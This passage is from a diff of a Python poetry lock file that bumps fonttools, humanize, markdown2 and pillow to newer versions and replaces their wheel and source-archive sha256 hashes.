"fonttools-4.53.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:93156dd7f90ae0a1b0e8871032a07ef3178f553f0c70c386025a808f3a63b1f4"}, - {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bff98816cb144fb7b85e4b5ba3888a33b56ecef075b0e95b95bcd0a5fbf20f06"}, - {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:973d030180eca8255b1bce6ffc09ef38a05dcec0e8320cc9b7bcaa65346f341d"}, - {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c4ee5a24e281fbd8261c6ab29faa7fd9a87a12e8c0eed485b705236c65999109"}, - {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bd5bc124fae781a4422f61b98d1d7faa47985f663a64770b78f13d2c072410c2"}, - {file = "fonttools-4.53.0-cp312-cp312-win32.whl", hash = "sha256:a239afa1126b6a619130909c8404070e2b473dd2b7fc4aacacd2e763f8597fea"}, - {file = "fonttools-4.53.0-cp312-cp312-win_amd64.whl", hash = "sha256:45b4afb069039f0366a43a5d454bc54eea942bfb66b3fc3e9a2c07ef4d617380"}, - {file = "fonttools-4.53.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:93bc9e5aaa06ff928d751dc6be889ff3e7d2aa393ab873bc7f6396a99f6fbb12"}, - {file = "fonttools-4.53.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2367d47816cc9783a28645bc1dac07f8ffc93e0f015e8c9fc674a5b76a6da6e4"}, - {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:907fa0b662dd8fc1d7c661b90782ce81afb510fc4b7aa6ae7304d6c094b27bce"}, - {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e0ad3c6ea4bd6a289d958a1eb922767233f00982cf0fe42b177657c86c80a8f"}, - {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:73121a9b7ff93ada888aaee3985a88495489cc027894458cb1a736660bdfb206"}, - {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ee595d7ba9bba130b2bec555a40aafa60c26ce68ed0cf509983e0f12d88674fd"}, - {file = "fonttools-4.53.0-cp38-cp38-win32.whl", hash = "sha256:fca66d9ff2ac89b03f5aa17e0b21a97c21f3491c46b583bb131eb32c7bab33af"}, - {file = "fonttools-4.53.0-cp38-cp38-win_amd64.whl", hash = "sha256:31f0e3147375002aae30696dd1dc596636abbd22fca09d2e730ecde0baad1d6b"}, - {file = "fonttools-4.53.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d6166192dcd925c78a91d599b48960e0a46fe565391c79fe6de481ac44d20ac"}, - {file = "fonttools-4.53.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef50ec31649fbc3acf6afd261ed89d09eb909b97cc289d80476166df8438524d"}, - {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f193f060391a455920d61684a70017ef5284ccbe6023bb056e15e5ac3de11d1"}, - {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba9f09ff17f947392a855e3455a846f9855f6cf6bec33e9a427d3c1d254c712f"}, - {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0c555e039d268445172b909b1b6bdcba42ada1cf4a60e367d68702e3f87e5f64"}, - {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5a4788036201c908079e89ae3f5399b33bf45b9ea4514913f4dbbe4fac08efe0"}, - {file = "fonttools-4.53.0-cp39-cp39-win32.whl", hash = "sha256:d1a24f51a3305362b94681120c508758a88f207fa0a681c16b5a4172e9e6c7a9"}, - {file = "fonttools-4.53.0-cp39-cp39-win_amd64.whl", hash = "sha256:1e677bfb2b4bd0e5e99e0f7283e65e47a9814b0486cb64a41adf9ef110e078f2"}, - {file = "fonttools-4.53.0-py3-none-any.whl", hash = "sha256:6b4f04b1fbc01a3569d63359f2227c89ab294550de277fd09d8fca6185669fa4"}, - {file = "fonttools-4.53.0.tar.gz", hash = "sha256:c93ed66d32de1559b6fc348838c7572d5c0ac1e4a258e76763a5caddd8944002"}, + {file = "fonttools-4.53.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0679a30b59d74b6242909945429dbddb08496935b82f91ea9bf6ad240ec23397"}, + {file = "fonttools-4.53.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e8bf06b94694251861ba7fdeea15c8ec0967f84c3d4143ae9daf42bbc7717fe3"}, + {file = "fonttools-4.53.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b96cd370a61f4d083c9c0053bf634279b094308d52fdc2dd9a22d8372fdd590d"}, + {file = "fonttools-4.53.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1c7c5aa18dd3b17995898b4a9b5929d69ef6ae2af5b96d585ff4005033d82f0"}, + {file = "fonttools-4.53.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e013aae589c1c12505da64a7d8d023e584987e51e62006e1bb30d72f26522c41"}, + {file = "fonttools-4.53.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9efd176f874cb6402e607e4cc9b4a9cd584d82fc34a4b0c811970b32ba62501f"}, + {file = "fonttools-4.53.1-cp310-cp310-win32.whl", hash = "sha256:c8696544c964500aa9439efb6761947393b70b17ef4e82d73277413f291260a4"}, + {file = "fonttools-4.53.1-cp310-cp310-win_amd64.whl", hash = "sha256:8959a59de5af6d2bec27489e98ef25a397cfa1774b375d5787509c06659b3671"}, + {file = "fonttools-4.53.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:da33440b1413bad53a8674393c5d29ce64d8c1a15ef8a77c642ffd900d07bfe1"}, + {file = "fonttools-4.53.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5ff7e5e9bad94e3a70c5cd2fa27f20b9bb9385e10cddab567b85ce5d306ea923"}, + {file = "fonttools-4.53.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6e7170d675d12eac12ad1a981d90f118c06cf680b42a2d74c6c931e54b50719"}, + {file = "fonttools-4.53.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bee32ea8765e859670c4447b0817514ca79054463b6b79784b08a8df3a4d78e3"}, + {file = "fonttools-4.53.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e08f572625a1ee682115223eabebc4c6a2035a6917eac6f60350aba297ccadb"}, + {file = "fonttools-4.53.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b21952c092ffd827504de7e66b62aba26fdb5f9d1e435c52477e6486e9d128b2"}, + {file = "fonttools-4.53.1-cp311-cp311-win32.whl", hash = "sha256:9dfdae43b7996af46ff9da520998a32b105c7f098aeea06b2226b30e74fbba88"}, + {file = "fonttools-4.53.1-cp311-cp311-win_amd64.whl", hash = "sha256:d4d0096cb1ac7a77b3b41cd78c9b6bc4a400550e21dc7a92f2b5ab53ed74eb02"}, + {file = "fonttools-4.53.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d92d3c2a1b39631a6131c2fa25b5406855f97969b068e7e08413325bc0afba58"}, + {file = "fonttools-4.53.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3b3c8ebafbee8d9002bd8f1195d09ed2bd9ff134ddec37ee8f6a6375e6a4f0e8"}, + {file = "fonttools-4.53.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32f029c095ad66c425b0ee85553d0dc326d45d7059dbc227330fc29b43e8ba60"}, + {file = "fonttools-4.53.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10f5e6c3510b79ea27bb1ebfcc67048cde9ec67afa87c7dd7efa5c700491ac7f"}, + {file = "fonttools-4.53.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f677ce218976496a587ab17140da141557beb91d2a5c1a14212c994093f2eae2"}, + {file = "fonttools-4.53.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9e6ceba2a01b448e36754983d376064730690401da1dd104ddb543519470a15f"}, + {file = "fonttools-4.53.1-cp312-cp312-win32.whl", hash = "sha256:791b31ebbc05197d7aa096bbc7bd76d591f05905d2fd908bf103af4488e60670"}, + {file = "fonttools-4.53.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ed170b5e17da0264b9f6fae86073be3db15fa1bd74061c8331022bca6d09bab"}, + {file = "fonttools-4.53.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c818c058404eb2bba05e728d38049438afd649e3c409796723dfc17cd3f08749"}, + {file = "fonttools-4.53.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:651390c3b26b0c7d1f4407cad281ee7a5a85a31a110cbac5269de72a51551ba2"}, + {file = "fonttools-4.53.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e54f1bba2f655924c1138bbc7fa91abd61f45c68bd65ab5ed985942712864bbb"}, + {file = "fonttools-4.53.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9cd19cf4fe0595ebdd1d4915882b9440c3a6d30b008f3cc7587c1da7b95be5f"}, + {file = "fonttools-4.53.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:2af40ae9cdcb204fc1d8f26b190aa16534fcd4f0df756268df674a270eab575d"}, + {file = "fonttools-4.53.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:35250099b0cfb32d799fb5d6c651220a642fe2e3c7d2560490e6f1d3f9ae9169"}, + {file = "fonttools-4.53.1-cp38-cp38-win32.whl", hash = "sha256:f08df60fbd8d289152079a65da4e66a447efc1d5d5a4d3f299cdd39e3b2e4a7d"}, + {file = "fonttools-4.53.1-cp38-cp38-win_amd64.whl", hash = "sha256:7b6b35e52ddc8fb0db562133894e6ef5b4e54e1283dff606fda3eed938c36fc8"}, + {file = "fonttools-4.53.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75a157d8d26c06e64ace9df037ee93a4938a4606a38cb7ffaf6635e60e253b7a"}, + {file = "fonttools-4.53.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4824c198f714ab5559c5be10fd1adf876712aa7989882a4ec887bf1ef3e00e31"}, + {file = "fonttools-4.53.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:becc5d7cb89c7b7afa8321b6bb3dbee0eec2b57855c90b3e9bf5fb816671fa7c"}, + {file = "fonttools-4.53.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84ec3fb43befb54be490147b4a922b5314e16372a643004f182babee9f9c3407"}, + {file = "fonttools-4.53.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:73379d3ffdeecb376640cd8ed03e9d2d0e568c9d1a4e9b16504a834ebadc2dfb"}, + {file = "fonttools-4.53.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02569e9a810f9d11f4ae82c391ebc6fb5730d95a0657d24d754ed7763fb2d122"}, + {file = "fonttools-4.53.1-cp39-cp39-win32.whl", hash = "sha256:aae7bd54187e8bf7fd69f8ab87b2885253d3575163ad4d669a262fe97f0136cb"}, + {file = "fonttools-4.53.1-cp39-cp39-win_amd64.whl", hash = "sha256:e5b708073ea3d684235648786f5f6153a48dc8762cdfe5563c57e80787c29fbb"}, + {file = "fonttools-4.53.1-py3-none-any.whl", hash = "sha256:f1f8758a2ad110bd6432203a344269f445a2907dc24ef6bccfd0ac4e14e0d71d"}, + {file = "fonttools-4.53.1.tar.gz", hash = "sha256:e128778a8e9bc11159ce5447f76766cefbd876f44bd79aff030287254e4752c4"}, ] [package.dependencies] @@ -1027,13 +1027,13 @@ socks = ["socksio (==1.*)"] [[package]] name = "humanize" -version = "4.9.0" +version = "4.10.0" description = "Python humanize utilities" optional = false python-versions = ">=3.8" files = [ - {file = "humanize-4.9.0-py3-none-any.whl", hash = "sha256:ce284a76d5b1377fd8836733b983bfb0b76f1aa1c090de2566fcf008d7f6ab16"}, - {file = "humanize-4.9.0.tar.gz", hash = "sha256:582a265c931c683a7e9b8ed9559089dea7edcf6cc95be39a3cbc2c5d5ac2bcfa"}, + {file = "humanize-4.10.0-py3-none-any.whl", hash = "sha256:39e7ccb96923e732b5c2e27aeaa3b10a8dfeeba3eb965ba7b74a3eb0e30040a6"}, + {file = "humanize-4.10.0.tar.gz", hash = "sha256:06b6eb0293e4b85e8d385397c5868926820db32b9b654b932f57fa41c23c9978"}, ] [package.extras] @@ -1245,18 +1245,19 @@ altgraph = ">=0.17" [[package]] name = "markdown2" -version = "2.4.13" +version = "2.5.0" description = "A fast and complete Python implementation of Markdown" optional = false -python-versions = ">=3.5, <4" +python-versions = "<4,>=3.8" files = [ - {file = "markdown2-2.4.13-py2.py3-none-any.whl", hash = "sha256:855bde5cbcceb9beda7c80efdf7f406c23e6079172c497fcfce22fdce998e892"}, - {file = "markdown2-2.4.13.tar.gz", hash = "sha256:18ceb56590da77f2c22382e55be48c15b3c8f0c71d6398def387275e6c347a9f"}, + {file = "markdown2-2.5.0-py2.py3-none-any.whl", hash = "sha256:300d4429b620ebc974ef512339a9e08bc080473f95135a91f33906e24e8280c1"}, + {file = "markdown2-2.5.0.tar.gz", hash = "sha256:9bff02911f8b617b61eb269c4c1a5f9b2087d7ff051604f66a61b63cab30adc2"}, ] [package.extras] -all = ["pygments (>=2.7.3)", "wavedrom"] +all = ["latex2mathml", "pygments (>=2.7.3)", "wavedrom"] code-syntax-highlighting = ["pygments (>=2.7.3)"] +latex = ["latex2mathml"] wavedrom = ["wavedrom"] [[package]] @@ -1507,84 +1508,95 @@ files = [ [[package]] name = "pillow" -version = "10.3.0" +version = "10.4.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.8" files = [ - {file = "pillow-10.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:90b9e29824800e90c84e4022dd5cc16eb2d9605ee13f05d47641eb183cd73d45"}, - {file = "pillow-10.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a2c405445c79c3f5a124573a051062300936b0281fee57637e706453e452746c"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78618cdbccaa74d3f88d0ad6cb8ac3007f1a6fa5c6f19af64b55ca170bfa1edf"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:261ddb7ca91fcf71757979534fb4c128448b5b4c55cb6152d280312062f69599"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:ce49c67f4ea0609933d01c0731b34b8695a7a748d6c8d186f95e7d085d2fe475"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b14f16f94cbc61215115b9b1236f9c18403c15dd3c52cf629072afa9d54c1cbf"}, - {file = "pillow-10.3.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d33891be6df59d93df4d846640f0e46f1a807339f09e79a8040bc887bdcd7ed3"}, - {file = "pillow-10.3.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b50811d664d392f02f7761621303eba9d1b056fb1868c8cdf4231279645c25f5"}, - {file = "pillow-10.3.0-cp310-cp310-win32.whl", hash = "sha256:ca2870d5d10d8726a27396d3ca4cf7976cec0f3cb706debe88e3a5bd4610f7d2"}, - {file = "pillow-10.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:f0d0591a0aeaefdaf9a5e545e7485f89910c977087e7de2b6c388aec32011e9f"}, - {file = "pillow-10.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:ccce24b7ad89adb5a1e34a6ba96ac2530046763912806ad4c247356a8f33a67b"}, - {file = "pillow-10.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:5f77cf66e96ae734717d341c145c5949c63180842a545c47a0ce7ae52ca83795"}, - {file = "pillow-10.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e4b878386c4bf293578b48fc570b84ecfe477d3b77ba39a6e87150af77f40c57"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdcbb4068117dfd9ce0138d068ac512843c52295ed996ae6dd1faf537b6dbc27"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9797a6c8fe16f25749b371c02e2ade0efb51155e767a971c61734b1bf6293994"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:9e91179a242bbc99be65e139e30690e081fe6cb91a8e77faf4c409653de39451"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b87bd9d81d179bd8ab871603bd80d8645729939f90b71e62914e816a76fc6bd"}, - {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:81d09caa7b27ef4e61cb7d8fbf1714f5aec1c6b6c5270ee53504981e6e9121ad"}, - {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:048ad577748b9fa4a99a0548c64f2cb8d672d5bf2e643a739ac8faff1164238c"}, - {file = "pillow-10.3.0-cp311-cp311-win32.whl", hash = "sha256:7161ec49ef0800947dc5570f86568a7bb36fa97dd09e9827dc02b718c5643f09"}, - {file = "pillow-10.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8eb0908e954d093b02a543dc963984d6e99ad2b5e36503d8a0aaf040505f747d"}, - {file = "pillow-10.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:4e6f7d1c414191c1199f8996d3f2282b9ebea0945693fb67392c75a3a320941f"}, - {file = "pillow-10.3.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:e46f38133e5a060d46bd630faa4d9fa0202377495df1f068a8299fd78c84de84"}, - {file = "pillow-10.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:50b8eae8f7334ec826d6eeffaeeb00e36b5e24aa0b9df322c247539714c6df19"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d3bea1c75f8c53ee4d505c3e67d8c158ad4df0d83170605b50b64025917f338"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:19aeb96d43902f0a783946a0a87dbdad5c84c936025b8419da0a0cd7724356b1"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:74d28c17412d9caa1066f7a31df8403ec23d5268ba46cd0ad2c50fb82ae40462"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:ff61bfd9253c3915e6d41c651d5f962da23eda633cf02262990094a18a55371a"}, - {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d886f5d353333b4771d21267c7ecc75b710f1a73d72d03ca06df49b09015a9ef"}, - {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4b5ec25d8b17217d635f8935dbc1b9aa5907962fae29dff220f2659487891cd3"}, - {file = "pillow-10.3.0-cp312-cp312-win32.whl", hash = "sha256:51243f1ed5161b9945011a7360e997729776f6e5d7005ba0c6879267d4c5139d"}, - {file = "pillow-10.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:412444afb8c4c7a6cc11a47dade32982439925537e483be7c0ae0cf96c4f6a0b"}, - {file = "pillow-10.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:798232c92e7665fe82ac085f9d8e8ca98826f8e27859d9a96b41d519ecd2e49a"}, - {file = "pillow-10.3.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:4eaa22f0d22b1a7e93ff0a596d57fdede2e550aecffb5a1ef1106aaece48e96b"}, - {file = "pillow-10.3.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cd5e14fbf22a87321b24c88669aad3a51ec052eb145315b3da3b7e3cc105b9a2"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1530e8f3a4b965eb6a7785cf17a426c779333eb62c9a7d1bbcf3ffd5bf77a4aa"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d512aafa1d32efa014fa041d38868fda85028e3f930a96f85d49c7d8ddc0383"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:339894035d0ede518b16073bdc2feef4c991ee991a29774b33e515f1d308e08d"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:aa7e402ce11f0885305bfb6afb3434b3cd8f53b563ac065452d9d5654c7b86fd"}, - {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0ea2a783a2bdf2a561808fe4a7a12e9aa3799b701ba305de596bc48b8bdfce9d"}, - {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c78e1b00a87ce43bb37642c0812315b411e856a905d58d597750eb79802aaaa3"}, - {file = "pillow-10.3.0-cp38-cp38-win32.whl", hash = "sha256:72d622d262e463dfb7595202d229f5f3ab4b852289a1cd09650362db23b9eb0b"}, - {file = "pillow-10.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:2034f6759a722da3a3dbd91a81148cf884e91d1b747992ca288ab88c1de15999"}, - {file = "pillow-10.3.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2ed854e716a89b1afcedea551cd85f2eb2a807613752ab997b9974aaa0d56936"}, - {file = "pillow-10.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:dc1a390a82755a8c26c9964d457d4c9cbec5405896cba94cf51f36ea0d855002"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4203efca580f0dd6f882ca211f923168548f7ba334c189e9eab1178ab840bf60"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3102045a10945173d38336f6e71a8dc71bcaeed55c3123ad4af82c52807b9375"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:6fb1b30043271ec92dc65f6d9f0b7a830c210b8a96423074b15c7bc999975f57"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:1dfc94946bc60ea375cc39cff0b8da6c7e5f8fcdc1d946beb8da5c216156ddd8"}, - {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b09b86b27a064c9624d0a6c54da01c1beaf5b6cadfa609cf63789b1d08a797b9"}, - {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d3b2348a78bc939b4fed6552abfd2e7988e0f81443ef3911a4b8498ca084f6eb"}, - {file = "pillow-10.3.0-cp39-cp39-win32.whl", hash = "sha256:45ebc7b45406febf07fef35d856f0293a92e7417ae7933207e90bf9090b70572"}, - {file = "pillow-10.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:0ba26351b137ca4e0db0342d5d00d2e355eb29372c05afd544ebf47c0956ffeb"}, - {file = "pillow-10.3.0-cp39-cp39-win_arm64.whl", hash = "sha256:50fd3f6b26e3441ae07b7c979309638b72abc1a25da31a81a7fbd9495713ef4f"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:6b02471b72526ab8a18c39cb7967b72d194ec53c1fd0a70b050565a0f366d355"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8ab74c06ffdab957d7670c2a5a6e1a70181cd10b727cd788c4dd9005b6a8acd9"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:048eeade4c33fdf7e08da40ef402e748df113fd0b4584e32c4af74fe78baaeb2"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e2ec1e921fd07c7cda7962bad283acc2f2a9ccc1b971ee4b216b75fad6f0463"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c8e73e99da7db1b4cad7f8d682cf6abad7844da39834c288fbfa394a47bbced"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:16563993329b79513f59142a6b02055e10514c1a8e86dca8b48a893e33cf91e3"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:dd78700f5788ae180b5ee8902c6aea5a5726bac7c364b202b4b3e3ba2d293170"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:aff76a55a8aa8364d25400a210a65ff59d0168e0b4285ba6bf2bd83cf675ba32"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:b7bc2176354defba3edc2b9a777744462da2f8e921fbaf61e52acb95bafa9828"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:793b4e24db2e8742ca6423d3fde8396db336698c55cd34b660663ee9e45ed37f"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d93480005693d247f8346bc8ee28c72a2191bdf1f6b5db469c096c0c867ac015"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c83341b89884e2b2e55886e8fbbf37c3fa5efd6c8907124aeb72f285ae5696e5"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a1d1915db1a4fdb2754b9de292642a39a7fb28f1736699527bb649484fb966a"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a0eaa93d054751ee9964afa21c06247779b90440ca41d184aeb5d410f20ff591"}, - {file = "pillow-10.3.0.tar.gz", hash = "sha256:9d2455fbf44c914840c793e89aa82d0e1763a14253a000743719ae5946814b2d"}, + {file = "pillow-10.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:4d9667937cfa347525b319ae34375c37b9ee6b525440f3ef48542fcf66f2731e"}, + {file = "pillow-10.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:543f3dc61c18dafb755773efc89aae60d06b6596a63914107f75459cf984164d"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7928ecbf1ece13956b95d9cbcfc77137652b02763ba384d9ab508099a2eca856"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4d49b85c4348ea0b31ea63bc75a9f3857869174e2bf17e7aba02945cd218e6f"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6c762a5b0997f5659a5ef2266abc1d8851ad7749ad9a6a5506eb23d314e4f46b"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a985e028fc183bf12a77a8bbf36318db4238a3ded7fa9df1b9a133f1cb79f8fc"}, + {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:812f7342b0eee081eaec84d91423d1b4650bb9828eb53d8511bcef8ce5aecf1e"}, + {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac1452d2fbe4978c2eec89fb5a23b8387aba707ac72810d9490118817d9c0b46"}, + {file = "pillow-10.4.0-cp310-cp310-win32.whl", hash = "sha256:bcd5e41a859bf2e84fdc42f4edb7d9aba0a13d29a2abadccafad99de3feff984"}, + {file = "pillow-10.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:ecd85a8d3e79cd7158dec1c9e5808e821feea088e2f69a974db5edf84dc53141"}, + {file = "pillow-10.4.0-cp310-cp310-win_arm64.whl", hash = "sha256:ff337c552345e95702c5fde3158acb0625111017d0e5f24bf3acdb9cc16b90d1"}, + {file = "pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c"}, + {file = "pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = 